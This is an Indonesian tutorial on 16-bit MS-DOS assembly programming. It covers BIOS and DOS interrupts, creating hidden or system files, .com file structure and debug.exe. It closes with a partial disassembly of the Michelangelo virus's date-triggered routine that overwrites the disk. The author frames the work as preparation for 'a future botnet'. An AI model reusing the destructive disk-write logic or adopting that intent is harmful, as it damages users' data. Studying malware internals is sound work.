pemrograman di ms dos dengan assembly 16 bit by: mywisdom a.k.a m0nk3y "I'm recalling back my old skills while making a future botnet" content: * int 10h * int 21h * int 5h * psp dan file berekstensi .com * debug virus dengan debug.exe (sample virus : michael angelo 6 maret 1992) asm 16 bit sangat berguna krn bisa digunakan dalam pemrograman mikrokontroller. tool2 yang diperlukan: - turbo assembler - untuk mengassemble - turbo linker - untuk linking * segment dan offset tiap sistem operasi memiliki manajemen memori yg berbeda, jika di linux / unix tidak dikenal adanya segmen dan offset berbeda dg di ms dos, dikenal adanya segmen dan offset untuk segmentasi memori. formatnya adl: [alamat segmen]:[alamat offset] segment digunakan untuk mengakses memori max 1 mb offset merupakan 1 page sebesar 64 kb\ untuk mendapatkan alamat memori absolut: (alamat segmen * 10h)+alamat_offset misal: 1A42:38A7 1A42 adl alamat segmen dan 38a7 adl alamat offset alamat absolutnya adalah : 1dcc7 -------------------------------- (1A42 * 10)+38a7=1dcc7 -------------------------------- (dalam hex) ==========int 10h digunakan untuk permainan video bios. * int 10h fungsi 00h digunakan untuk mengatur modus video coba perhatikan table di bawah ini: Mode Type Max Colors Size Resolution Max Pages Base Addr ---- -------- ---------- ----- ---------- --------- --------- 00 Text 16 40x25 - - 8 B8000h 01 Text 16 40x25 - - 8 B8000h 02 Text 16 80x25 - - 4,8 B8000h 03 Text 16 80x25 - - 4,8 B8000h 04 Graphics 4 40x25 320x200 1 B8000h 05 Graphics 4 40x25 320x200 1 B8000h 06 Graphics 2 80x25 640x200 1 B8000h 07 Text Mono 80x25 - - 1,8 B0000h 08 Graphics 16 20x25 ? ? 1 B0000h 09 Graphics 16 40x25 ? ? 1 B0000h 0A Graphics 4 80x25 ? ? 1 B0000h 0B - - - - - - - - - - 0C - - - - - - - - - - 0D Graphics 16 40x25 320x200 8 A0000h 0E Graphics 16 80x25 640x200 4 A0000h 0F Graphics Mono 80x25 640x350 2 A0000h 10 Graphics 16 80x25 640x350 2 A0000h 11 Graphics 2 80x25 640x480 1 A0000h 12 Graphics 16 80x25 640x480 1 A0000h 13 Graphics 256 40x25 320x200 1 A0000h contoh: modus video grafik (size: 40x25 , resolusi 320x200, modus grafik,dengan jumlah warna 4) -------- .model small .stack .code main proc mov ah,00h mov al,04h int 10h int 20h main endp end main --------------------- contoh lain: -------- .model small .stack .code main proc mov ah,00h mov al,06h int 10h int 20h main endp end main --------------------- ============== interup 21 hexa merupakan interup yang banyak dipakai berfungsi utk input dan output dan beberapa operasi lainya di ms dos. berikut ini contoh program dengan interup 21 hexa fungsi 9hexa: ------------------------- .model small .stack .data output db "contoh interup 21 h fungsi 9 h", "$" .code main proc mov ah,09 mov dx,offset output int 21h mov ax,4c00h int 21h main endp end main ----------------------------- save dg nama out.asm lalu kompile dan link: tasm out.asm tlink out.obj - sample kedua interup 21 h fungsi 9 h untuk menampilkan output : -------------------------------- .model small;direktif model memori .stack .data output db "contoh interup 21 h fungsi 9 h", "$" ;define byte .code main proc ;prosedur atau makro dimulai mov ax,seg output ; pointer ke segment output disimpan di ax mov ds,ax ; selanjutnya ax disave di ds mov ah,9h ; int 21 h fungsi 9 h lea dx,output ; load alamat efektif ke dc int 21h;panggil om ms dos mov ax,4c00h int 21h ;interup 21 h fungsi 4c00h utk kembali ke ms dos main endp ; akhir prosedur end main ------------------------------- simpan dengan nama: output.asm lalu kompile di ms dos dengan tasm dan tlink: -------------------------------------- C:\DOCUME~1\BATMAN\ASM>tasm output.asm Turbo Assembler Version 4.1 Copyright (c) 1988, 1996 Borland International Assembling file: output.asm Error messages: None Warning messages: None Passes: 1 Remaining memory: 452k C:\DOCUME~1\BATMAN\ASM>tlink output.obj Turbo Link Version 7.1.30.1. Copyright (c) 1987, 1996 Borland International C:\DOCUME~1\BATMAN\ASM> ----------------------------------------- setelah itu akan tercipta suatu file dengan nama output.exe contoh jika dijalankan akan menampilkan output : ---------------------- C:\DOCUME~1\BATMAN\ASM>output contoh interup 21 h fungsi 9 h C:\DOCUME~1\BATMAN\ASM> ------------------------ *. mendebug output.exe dengan debug.exe ketikkan debug.exe output.exe ------------------------------ C:\DOCUME~1\BATMAN\ASM>debug output.exe ------------------------------ dari debug.exe prompt ketikkan : u untuk melihat kinerja program: -------------------------------- C:\DOCUME~1\BATMAN\ASM>debug output.exe -u 0BC8:0000 B8CA0B MOV AX,0BCA 0BC8:0003 8ED8 MOV DS,AX 0BC8:0005 B409 MOV AH,09 0BC8:0007 BA0000 MOV DX,0000 0BC8:000A CD21 INT 21 0BC8:000C B8004C MOV AX,4C00 0BC8:000F CD21 INT 21 0BC8:0011 0000 ADD [BX+SI],AL 0BC8:0013 0000 ADD [BX+SI],AL 0BC8:0015 0000 ADD [BX+SI],AL 0BC8:0017 0000 ADD [BX+SI],AL 0BC8:0019 0000 ADD [BX+SI],AL 0BC8:001B 0000 ADD [BX+SI],AL 0BC8:001D 0000 ADD [BX+SI],AL 0BC8:001F 00636F ADD [BP+DI+6F],AH -------------- di atas terlihat pointer ke segmen dengan alamat 0BCA disimpan ke register ax, di tengah adalah instruksi berupa hexa \xB8\xCA\x0B = MOV AX,0BCA mari kita lihat segmen 0BCA mulai dari ofset 0000: -d 0bca:0000 0BCA:0000 63 6F 6E 74 6F 68 20 69-6E 74 65 72 75 70 20 32 contoh interup 2 0BCA:0010 31 20 68 20 66 75 6E 67-73 69 20 39 20 68 24 41 1 h fungsi 9 h$A 0BCA:0020 83 46 F2 06 81 F9 00 02-7C E3 C4 5E FA 26 8B 47 .F......|..^.&.G 0BCA:0030 02 26 8B 17 89 46 FC 89-56 FA 8B 46 FA 0B 46 FC .&...F..V..F..F. 0BCA:0040 75 B8 6A 00 68 04 0C 6A-02 6A 00 6A 00 16 8D 46 u.j.h..j.j.j...F 0BCA:0050 FE 50 90 0E E8 02 90 0B-C0 75 90 8B 46 FE 89 46 .P.......u..F..F 0BCA:0060 F8 C7 46 F6 00 00 C4 5E-F6 26 C7 47 02 00 00 26 ..F....^.&.G...& 0BCA:0070 C7 07 00 00 33 C9 8B 46-F8 8B 56 F6 83 C2 04 89 ....3..F..V..... - mulai alamat offset 0000 s/d alamat offset 0010 string yg kita define dimuat. perhatikan hasil perbandingan debug dari program pertama dan progra kedua: program pertama dijalankan tanpa menggunakan segmen register : C:\DOCUME~1\BATMAN\ASM>out.exe junk junk junk contoh interup 21 h fungsi 9 h C:\DOCUME~1\BATMAN\ASM> dan program kedua melibatkan segmen register: mov ax,seg output mov ds,ax mov ah,9h mov dx,offset output ;atau bisa juga ditulis lea dx,output int 21h * interup 21 h fungsi 1h interup ini digunakan membaca keyboard input dari user -------------- mov ah, 1h int 21h -------------- contoh: -------------- .model small .stack .code main proc mov ah, 1h int 21h mov dl, al mov ah, 2h int 21h mov ax,4c00h int 21h main endp end main --------------- simpan dg nama input.asm lalu assemble dan link: tasm input.asm tlink input.obj untuk memanggil interup 21 h fungsi 1h kita simpan 1h di register ah: mov ah, 1h selanjutnya kita call dos interrupt untuk menerima input keyboard: int 21h -------- mov dl, al mov ah, 2h int 21h -------- di sini kita panggil interup 21 h fungsi 2 h untuk menampilkan char kembali ke layar dan sebelum akhir makro kita gunakan interup 21 h fungsi 4c00h untuk kembali ke ms dos * perbedaan operasi register segmen dan register akumulator di register akumulator kita bisa langsung memindahkan isi register yang satu ke register yang lain, untuk register segment tidak bisa dilakukan secara langsung, segment register digunakan untuk mengakses memori. contoh: ----------------- mov bx, 2;bx=2h , bx=0010 mov cx, bx;selanjutanya kita mengkopi isi register bx ke cx ------------------- sedangkan untuk register segmen kita tidak bisa langsung mengkopi isi register yang 1 ke register yang lain. berikut ini contoh cara mengkopi antar segmen register di mana kita ingin memindahkan isi cs ke ds: --------------- push cs pop ds --------------- push cs akan memindahkan isi cs ke stack, selanjutnya dilakukan pop ds untuk mengambil isi stack ke ds * membuat file dengan int 21h fungsi 3ch selanjutnya kita akan mencoba membuat file dengan int 21h fungsi 3ch seperti int 21 h lainya, syaratnya adalah: ah diisi 3ch - bagaimana mengeset file atribut??? mov cx, 0h - digunakan untuk atribut file normal mov cx, 1h - berarti file yg diciptakan adl read only (attrib + r) mov cx, 2h - untuk file hidden (attrib +h) mov cx, 4h - atribut file sistem mov cx, 7h - atribut hidden + sistem + read only (4h + 2h + 1h) ---------------------------- .model small .stack .data output db "ada kesalahan, gagal menciptakan file x", "$" filename db "x", 0 handle dw 0 .code main: mov dx, offset filename mov cx, 0 ; atribut normal mov ah, 3Ch int 21h jc gagal; jika flag nya carry berarti gagal mov handle, ax jmp short gagal gagal proc mov ax,seg output mov ds,ax mov ah,9h mov dx,offset output int 21h mov ax,4c00h int 21h gagal endp end main ------------------------ atau bisa juga dengan debug.exe kita tulis instruksi assembler: -------------------------- C:\DOCUME~1\batman>debug -a 100 0B41:0100 mov ah,3c 0B41:0102 mov cx,0 0B41:0105 mov dx,0108 0B41:0108 db "C:\Documents and Settings\batman\asm\dom.txt",00 0B41:0135 int 21 0B41:0137 int 20 -name dom.com -r cx CX 0000 :02d -w Writing 0002D bytes -q ------------------------------ -a 100 berarti kita mulai dari offset 100 untuk file ekstensi .com (org 100h) -ah =3c=int 21 h gunsi 3c mov dx,0108--- dx merupakan pointer ke alamat offset 0108 (db "C:\Documents and Settings\batman\asm\dom.txt",00) selanjutnya kita beri nama file dg dom.com r cx digunakan utk file size selanjutnya kita write dengan w dan q untuk keluar * interup 21 h fungsi 2ah interup 21 h fungsi 2ah digunakan untuk mendapatkan tanggal hari ini, dengan syarat ah diisi 2ah --------------------- MOV AH,2AH INT 21H --------------------- selanjutnya hasilnya aka tersimpan di beberapa register: ---------------------- cx berisi tahun dh berisi bulan dl berisi hari al berisi angka 0-6 (hari dalam 1 minggu) ------------------------- untuk daftar interup 21 h bisa dilihat di http://www.ctyme.com/intr/int-21.htm =========psp untuk file com setiap program berekstensi .com saat akan dijalankan maka pertama 2 ms dos akan membuat suatu psp dari alamat offset 0000 s/d alamat offset 0100. psp merupakan header berukuran 256 byte (100 hexa) yang akan disiapkan tiap file com dijalankan.psp akan dibuat tiap kali program dengan ekstensi .com dijalankan, setelah itu program .com tersebut diletakkan di atas psp baru dijalankan dari awal, makanya setiap kali kita akan membuat program berekstensi .com dengan assembly selalu menggunakan org 100h yang artinya file diletakan mulai segmen 100 h. kalo gak salah inget besar file .com gak boleh lebih dari 64 kb. oki tiap kita akan membuat program berekstensi .com dengan assembly selalu menggunakan org 100h berikut ini gambaran kasar saat suatu file berekstensi .com dijalankan:
max file size utk .com klo ga salah inget ga boleh lebih dari 64 kb berikut ini contoh suatu struktur kode asm untuk program berekstensi .com : filename: x100.asm ------------ code_seg segment assume cs:code_seg org 100h mulai: jmp pesan pes db 'contoh program com by dom dom,13,10 pesan: mov ah,09h mov dx,offset pes int 21h code_seg ends end mulai ---------------- simpan dg nama file x100.asm ,untuk melakukan kompile menjadi .com tambahkan opsi /t di turbo linker: tasm x100.asm tlik /t x100.obj ======int 5h int 5h digunakan untuk melakukan print screen --------------------- code_seg segment assume cs:code_seg org 100h mulai: int 5h code_seg ends end mulai ----------------------- interup 5 hex dieksekusi tanpa parameter =========debugging virus assembly berbentuk executable berikut ini kita akan coba mendebug virus michael angelo yang akan aktif untuk merusak tiap tanggal 6 maret , yup tanggal 6 maret 1992 virus ini sangat terkenal dengan aksi timing bombnya yg merusak, mari kita lihat rutin timing bomb: part 1. debug virus michael angelo yang heboh baru2 ini (6 maret 1992) C:\DOCUME~1\batman\MYDOCU~1\DOWNLO~1\VIRUS_~1>debug MICHELAN.COM -u 023E 0BB9:023E 33C9 XOR CX,CX 0BB9:0240 B404 MOV AH,04 0BB9:0242 CD1A INT 1A 0BB9:0244 81FA0603 CMP DX,0306 0BB9:0248 7401 JZ 024B 0BB9:024A CB RETF 0BB9:024B 33D2 XOR DX,DX 0BB9:024D B90100 MOV CX,0001 0BB9:0250 B80903 MOV AX,0309 0BB9:0253 8B360800 MOV SI,[0008] 0BB9:0257 83FE03 CMP SI,+03 0BB9:025A 7410 JZ 026C 0BB9:025C B00E MOV AL,0E - kita langsung ke offset 023E, di situ dimulai aksi timing bomb dari virus michael angelo 0BB9:0244 81FA0603 CMP DX,0306 sebelumnya pada offset 0240 dan 0242 virus ini mengeksekusi interup 1a fungsi 4 hexa di mana interup 1a fungsi 4 hex akan mengembalikan data ke register2 ini: CH = century in BCD (decimal 19 or 20) CL = year in BCD DH = month in BCD DL = day in BCD CF = 0 if successful dan dx akan berisi bulan dan tanggal, misal: 0306 rutin selanjutnya yang dieksekusi adl compare dengan nilai 0306: 0BB9:0244 81FA0603 CMP DX,0306 selanjutnya diikuti jz ke alamat offset 024b jika flag zero : 0BB9:0248 7401 JZ 024B selanjutnya kita lacak ke offset 024b: ------------------------------------ -u 024b 0BB9:024B 33D2 XOR DX,DX 0BB9:024D B90100 MOV CX,0001 0BB9:0250 B80903 MOV AX,0309 0BB9:0253 8B360800 MOV SI,[0008] 0BB9:0257 83FE03 CMP SI,+03 0BB9:025A 7410 JZ 026C 0BB9:025C B00E MOV AL,0E 0BB9:025E 83FE0E CMP SI,+0E 0BB9:0261 7409 JZ 026C 0BB9:0263 B280 MOV DL,80 0BB9:0265 C606070004 MOV BYTE PTR [0007],04 0BB9:026A B011 MOV AL,11 -u 0BB9:026C BB0050 MOV BX,5000 0BB9:026F 8EC3 MOV ES,BX 0BB9:0271 CD13 INT 13 0BB9:0273 7304 JNB 0279 0BB9:0275 32E4 XOR AH,AH 0BB9:0277 CD13 INT 13 0BB9:0279 FEC6 INC DH 0BB9:027B 3A360700 CMP DH,[0007] 0BB9:027F 72CF JB 0250 0BB9:0281 32F6 XOR DH,DH 0BB9:0283 FEC5 INC CH 0BB9:0285 EBC9 JMP 0250 0BB9:0287 B90700 MOV CX,0007 0BB9:028A 890E0800 MOV [0008],CX - ---------------------------------- coba perhatikan pada offset 0271 dan offset 0277 ada pemanggilan interup yang menarik: int 13h 0BB9:0271 CD13 INT 13 dan 0BB9:0277 CD13 INT 13 pada offset 0275 virus mereset ah ke 0 0BB9:0275 32E4 XOR AH,AH di sini eksekusi int 13h fungsi 00 untuk mereset disk system. 0BB9:0277 CD13 INT 13
sebenarnya jika ingin dianalisis masih panjang , jadi akan sy lanjutkan lain waktu, see u  later